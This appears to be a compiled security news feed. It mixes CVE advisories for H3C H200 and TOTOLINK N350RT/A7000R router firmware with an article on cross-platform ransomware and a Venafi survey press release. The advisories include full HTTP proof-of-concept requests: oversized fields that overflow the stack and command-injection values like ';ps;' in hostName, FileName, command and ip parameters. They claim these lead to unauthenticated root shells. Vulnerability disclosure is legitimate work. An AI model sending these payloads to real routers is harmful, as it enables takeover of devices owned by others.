H3C H200 H200V100R004 was discovered to contain a stack overflow via the function AddMacList.

**H3C H200\[H200-EI\] (H200V100R004) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202009/1345678\_30005\_0.htm

**Product Information**

H3C H200\[H200-EI\] H200V100R004, the latest version of simulation overview：

**Vulnerability details**

The H3C H200\[H200-EI\] (H200V100R004) was found to have a stack overflow vulnerability in the AddMacList function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the AddMacList function,V12(the valueparam) we entered is formatted using the sscanf function and in the form of %[^;];. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V19, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.0.124:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: https://121.226.152.63:8443/router_password_mobile.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 553
    Origin: https://192.168.0.124:80
    DNT: 1
    Connection: close
    Cookie: JSESSIONID=5c31d502
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    CMD=AddMacList&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
    

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell.

CVE-2022-37093: vuln/H3C/H200/1 at main · Darry-lang1/vuln

As cryptocurrency valuations make strikes less lucrative, ransomware gangs like the new RedAlert and Monster groups are modifying their tools to attack across platforms.

Two emerging ransomware gangs, known as RedAlert and Monster, have adopted cross-platform capabilities to make attacks easier to execute against multiple operating systems and environments. It's a shining example of a snowballing trend toward multiplatform ransomware attacks, for which defenders need to gear up.

One of the new threat groups, referred to as RedAlert or N13V, creates executables in a Linux-specific version of C, and also supports VMware's enterprise-class ESXi hypervisor. The other threat group, Monster, uses an older cross-platform language, Delphi, which makes it easy to tailor the attack for a specific victim's configuration.

The ability to impact a variety of client operating systems within a single victim's environment started gaining steam in 2021, according to an advisory from Kaspersky published on Thursday. The Conti group, for example, allows affiliates to access a Linux variant of its ransomware, which also allows targeting of systems running VMware's ESXi hypervisor.

**Deploy Once, Affect Many**

There are several reasons for the trend: For one, it cuts down on labor. Attackers need only to write a certain program functionality once, and are then be able to use the resulting code to script the attacks against multiple targets, Kaspersky's advisory stated.

"We've gotten quite used to the ransomware groups deploying malware written in cross-platform language," Jornt van der Wiel, senior security researcher at Kaspersky's Global Research and Analysis Team, said in a statement. "These days, cybercriminals \[have\] learned to adjust their malicious code written in plain programming languages for joint attacks, making security specialists elaborate on ways to detect and prevent the ransomware attempts."

Other benefits to cross-platform attacks is the ability to hamper analysis, plus the ability to customize attacks to specific victim environments. Groups can use command lines to customize an attack to prevent code from running on ESXi environments, for instance — or conversely, to focus on certain kinds of client virtual machines.

"Recently, their goal is to damage as many systems as possible by adapting their malware code to several OS at the time," Kaspersky stated in its blog post on 2022 ransomware trends. "\[But\] there are a few other reasons to use a cross-platform language." 

Kaspersky also noted that ransomware gangs are getting better and better at adapting n-day exploits, which it dubbed "1-day" exploits, to multiplatform attacks. N-days refer to just-reported vulnerabilities that cybercriminals race to exploit before companies have time to patch them.

"\[Such broad functionality\] is something we usually see in commercial exploits," the company said, noting that one of the two exploits covered in its latest advisory was used "in the wild" during an attack on a large retailer in the Asia-Pacific region.

The move to cross-platform is borne out of necessity, researchers said. In the first half of 2022, as the value of cryptocurrencies plummeted, ransomware attacks declined, with cybersecurity firm Arctic Wolf reporting a drop of about a quarter. While the trend did not hold for other cybercrimes, such as investment scams and business email compromises, the headwinds for ransomware groups meant that threat actors have had to find ways to increase their success.

**Rust and GoLang Gain Steam for Ransomware Coding**

A common way that groups have tackled the process of adding cross-platform capabilities is to write the code in a language that supports other platforms, such as Rust or Golang, Kaspersky noted in its Aug. 24 advisory.   

The BlackCat ransomware program, for instance, is written in Rust, a successor to C, which has gained traction because of its improved security features. 

"Due to Rust cross-compilation capabilities, it did not take \[a\] long time for us to find BlackCat samples that work on Linux as well," Kaspersky said in the advisory. "The Linux sample of BlackCat is very similar to the Windows one."

Ransomware written in Rust and Go also make analysis harder for malware researchers, since tools to analyze those languages are not as sophisticated as analyzing programs written in the common C programming language, Kaspersky noted.

More Bang for the Buck: Cross-Platform Ransomware Is the Next Problem

According to new Venafi research, two-thirds of organizations have changed cyber strategy in response to war in Ukraine.

**SALT LAKE CITY, Aug. 24, 2022 —** Venafi®, the inventor and leading provider of machine identity management, today announced the findings of new research that evaluates the security impact of the increasing number of nation-state attacks and recent shifts in geopolitics. Venafi research into the methods used by nation-state threat actors shows the use of machine identities is growing in state-sponsored cyberattacks.

The study of over 1,100 security decision makers (SDMs) globally found that 66% of organizations have changed their cybersecurity strategy as a direct response to the conflict between Russia and Ukraine, while nearly two-thirds (64%) suspect their organization has been either directly targeted or impacted by a nation-state cyberattack.

Other key findings from the research include:

*   77% believe we're in a perpetual state of cyberwar
*   82% believe geopolitics and cybersecurity are intrinsically linked
*   More than two-thirds (68%) have had more conversations with their board and senior management in response to the Russia/Ukraine conflict
*   63% doubt they'd ever know if their organization was hacked by a nation-state
*   64% think the threat of physical war is a greater concern in their country than cyberwar

"Cyberwar is here. It doesn't look the way some people may have imagined it would, but security professionals understand that any business can be damaged by nation-states. The reality is that geopolitics and kinetic warfare now must inform cybersecurity strategy," said Kevin Bocek, vice president, security strategy and threat intelligence at Venafi**.** "We've known for years that state-backed APT groups are using cybercrime to advance their nations' wider political and economic goals. Everyone is a target, and unlike a kinetic warfare attack, only you can defend your business against nation-state cyberattacks. There is no cyber-Iron Dome or cyber-NORAD. Every CEO and board must recognize that cybersecurity is one of the top three business risks for everyone, regardless of industry."

Venafi research has also found that Chinese APT groups are conducting cyber espionage to advance China's international intelligence, while North Korean groups are funneling the proceeds of cybercrime directly to their country's weapons programs. The SolarWinds attack — which compromised thousands of companies by exploiting machine identities to create backdoors and gain trusted access to key assets — is a prime example of the scale and scope of nation-state attacks that leverage compromised machine identities. Russia's recent HermeticWiper attack, which breached numerous Ukrainian entities just days before Russia's invasion of the country, used code signing certificates to authenticate malware in a recent example of machine identity abuse by nation-state actors.

The digital certificates and cryptographic keys that serve as machine identities are the foundation of security for all digital transactions. Machine identities are used by everything from physical devices to software to communicate securely. The only way to reduce risks of machine identity abuse commonly used by nation-state attackers is through a control plane that provides observability, governance and reliability.

"Nation-state attacks are highly sophisticated, and they often use techniques that haven't been seen before. This makes them extremely difficult to defend against if protections aren't in place before they happen," continued Bocek. "Because machine identities are regularly used as part of the kill chain in nation-state attacks, every organization needs to step up their game. Exploiting machine identities is becoming the modus operandi for nation-state attackers."

For more information about this research, please read the blog.

**About the research**

Conducted by Sapio in July 2022, Venafi's study evaluated the opinions of 1,101 security decision makers across the United States, United Kingdom, France, Germany, Benelux (Belgium, Netherlands, Luxembourg) and Australia.

**About Venafi**

Venafi is the cybersecurity market leader in machine identity management. From the ground to the cloud, Venafi solutions manage and protect identities for all types of machines — from physical and IoT devices to software applications, APIs and containers. Venafi provides global visibility, life cycle automation and actionable intelligence for all machine identity types and the security and reliability risks associated with them.

Jetstack, a Venafi company, is a cloud native products and strategic consulting company working with enterprises using Kubernetes and OpenShift.

An open source pioneer, Jetstack has achieved notable industry recognition as the creator of cert-manager, the open source industry standard for cloud native machine identity management. Jetstack's open source products and solutions protect the application environments and platform infrastructure of global banks, multinational retailing companies and defense organizations by providing enterprise platform and security teams the power to build, scale and secure their cloud infrastructure.

With more than 30 patents, Venafi delivers innovative machine identity management solutions for the world's most demanding, security-conscious organizations and government agencies, including the top five U.S. health insurers; the top five U.S. airlines; the top four credit card issuers; three out of the four top accounting and consulting firms; four of the five top U.S. retailers; and the top four banks in each of the following countries: the U.S., the U.K., Australia and South Africa.

For more information, visit www.venafi.com and www.jetstack.io.

The (Nation) State of Cyber: 64% of Businesses Suspect They've Been Targeted or Impacted by Nation-State Attacks

TOTOLINK N350RT V9.3.5u.6139_B20201216 was discovered to contain a stack overflow via the function setDiagnosisCfg.

**TOTOLink N350RT V9.3.5u.6139\_B20201216 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： https://www.totolink.net/home/menu/detail/menu\_listtpl/download/id/206/ids/36.html

**Product Information**

TOTOLink N350RT V9.3.5u.6139\_B20201216 router, the latest version of simulation overview：

**Vulnerability details**

Var is formatted into V6 through sprintf function, and Var is the value of ip we enter. The size of the format string is not limited, resulting in stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 560
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"topicurl": "setting/setDiagnosisCfg","ip": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
    

The above figure shows the POC attack effect

As shown in the figure above, we can hijack PC registers.

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-36484: vuln/TOTOLINK/N350RT/7 at main · Darry-lang1/vuln

TOTOLINK N350RT V9.3.5u.6139_B20201216 was discovered to contain a command injection vulnerability via the hostName parameter in the function setOpModeCfg.

**TOTOLink N350RT V9.3.5u.6139\_B20201216 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： https://www.totolink.net/home/menu/detail/menu\_listtpl/download/id/206/ids/36.html

**Product Information**

TOTOLink N350RT V9.3.5u.6139\_B20201216 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK N350RT (V9.3.5u.6139\_B20201216) was found to contain a command insertion vulnerability in setOpModeCfg.This vulnerability allows an attacker to execute arbitrary commands through the "hostName" parameter.

By calling these functions, we can ultimately call sub_41A9C0 function (as shown in the last picture). By setting the proto value to 1, we can reach the default branch.V50 passes directly into the dosystem function.

The dosystem function is finally found to be implemented in this file by string matching.

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 52
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Cookie: SESSION_ID=2:1658224702:2
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"hostName":"admin';ps #","proto":"1","opmode":"br","topicurl":"setOpModeCfg"}
    

The above figure shows the POC attack effect

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-36485: vuln/TOTOLINK/N350RT/5 at main · Darry-lang1/vuln

TOTOLINK N350RT V9.3.5u.6139_B20201216 was discovered to contain a command injection vulnerability via the lang parameter in the function setLanguageCfg.

**TOTOLink N350RT V9.3.5u.6139\_B20201216 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： https://www.totolink.net/home/menu/detail/menu\_listtpl/download/id/206/ids/36.html

**Product Information**

TOTOLink N350RT V9.3.5u.6139\_B20201216 router, the latest version of simulation overview：

**Vulnerability details**

Var is formatted into V7 through sprintf function, and Var is the value of Lang we enter. The size of the format string is not limited, resulting in stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 561
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"topicurl": "setting/setLanguageCfg","lang": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
    

Although it returns a status of 200, there is another way to see if the target code was successfully executed.

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 25
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"topicurl":"getInitCfg"}
    

The above report verifies that our target code was successfully executed.

From the figure above, we can see that defaultLang has been modified by us to show that our target code has been executed.

As shown in the figure above, we can hijack PC registers.

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-36482: vuln/TOTOLINK/N350RT/6 at main · Darry-lang1/vuln

TOTOLINK A7000R V9.1.0u.6115_B20201022 was discovered to contain a command injection vulnerability via the FileName parameter in the function UploadFirmwareFile.

**TOTOLink A7000R V9.1.0u.6115\_B20201022 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： https://www.totolink.net/home/menu/detail/menu\_listtpl/download/id/171/ids/36.html

**Product Information**

TOTOLink A7000R V9.1.0u.6115\_B20201022 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK A7000R (V9.1.0u.6115\_B20201022) was found to contain a command insertion vulnerability in UploadFirmwareFile.This vulnerability allows an attacker to execute arbitrary commands through the "FileName" parameter.

Var is passed directly into the dosystem function.

The dosystem function is finally found to be implemented in this file by string matching.

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 76
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"FileName":";ps #","ContentLength":"1","topicurl":"UploadFirmwareFile"}
    1
    

The above figure shows the POC attack effect

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-37076: vuln/TOTOLINK/A7000R/4 at main · Darry-lang1/vuln

TOTOLINK N350RT V9.3.5u.6139_B20201216 was discovered to contain a command injection vulnerability via the command parameter in the function setTracerouteCfg.

**TOTOLink N350RT V9.3.5u.6139\_B20201216 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： https://www.totolink.net/home/menu/detail/menu\_listtpl/download/id/206/ids/36.html

**Product Information**

TOTOLink N350RT V9.3.5u.6139\_B20201216 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK N350RT (V9.3.5u.6139\_B20201216) was found to contain a command insertion vulnerability in setTracerouteCfg.This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.

Format Var into V6 using sprintf function and pass in dosystem function.

The dosystem function is finally found to be implemented in this file by string matching.

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 52
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"command":";ps;","num":"1","topicurl":"setTracerouteCfg"}
    

The above figure shows the POC attack effect

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-36487: vuln/TOTOLINK/N350RT/2 at main · Darry-lang1/vuln

TOTOLink A7000R V9.1.0u.6115_B20201022 was discovered to contain a stack overflow via the ip parameter in the function setDiagnosisCfg.

**TOTOLink A7000R V9.1.0u.6115\_B20201022 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： https://www.totolink.net/home/menu/detail/menu\_listtpl/download/id/171/ids/36.html

**Product Information**

TOTOLink A7000R V9.1.0u.6115\_B20201022 router, the latest version of simulation overview：

**Vulnerability details**

Var is formatted into V6 through sprintf function, and Var is the value of ip we enter. The size of the format string is not limited, resulting in stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 560
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"topicurl": "setting/setDiagnosisCfg","ip": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
    

The above figure shows the POC attack effect

As shown in the figure above, we can hijack PC registers.

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-37075: vuln/TOTOLINK/A7000R/7 at main · Darry-lang1/vuln

TOTOLINK N350RT V9.3.5u.6139_B20201216 was discovered to contain a command injection vulnerability via the ip parameter in the function setDiagnosisCfg.

**TOTOLink N350RT V9.3.5u.6139\_B20201216 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： https://www.totolink.net/home/menu/detail/menu\_listtpl/download/id/206/ids/36.html

**Product Information**

TOTOLink N350RT V9.3.5u.6139\_B20201216 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK N350RT (V9.3.5u.6139\_B20201216) was found to contain a command insertion vulnerability in setDiagnosisCfg.This vulnerability allows an attacker to execute arbitrary commands through the "ip" parameter.

Format Var into V6 using sprintf function and pass in dosystem function.

The dosystem function is finally found to be implemented in this file by string matching.

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 52
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"ip":";ps;","num":"1","topicurl":"setDiagnosisCfg"}
    

The above figure shows the POC attack effect

Finally, you can write exp to get a stable root shell without authorization.

Tag

#mac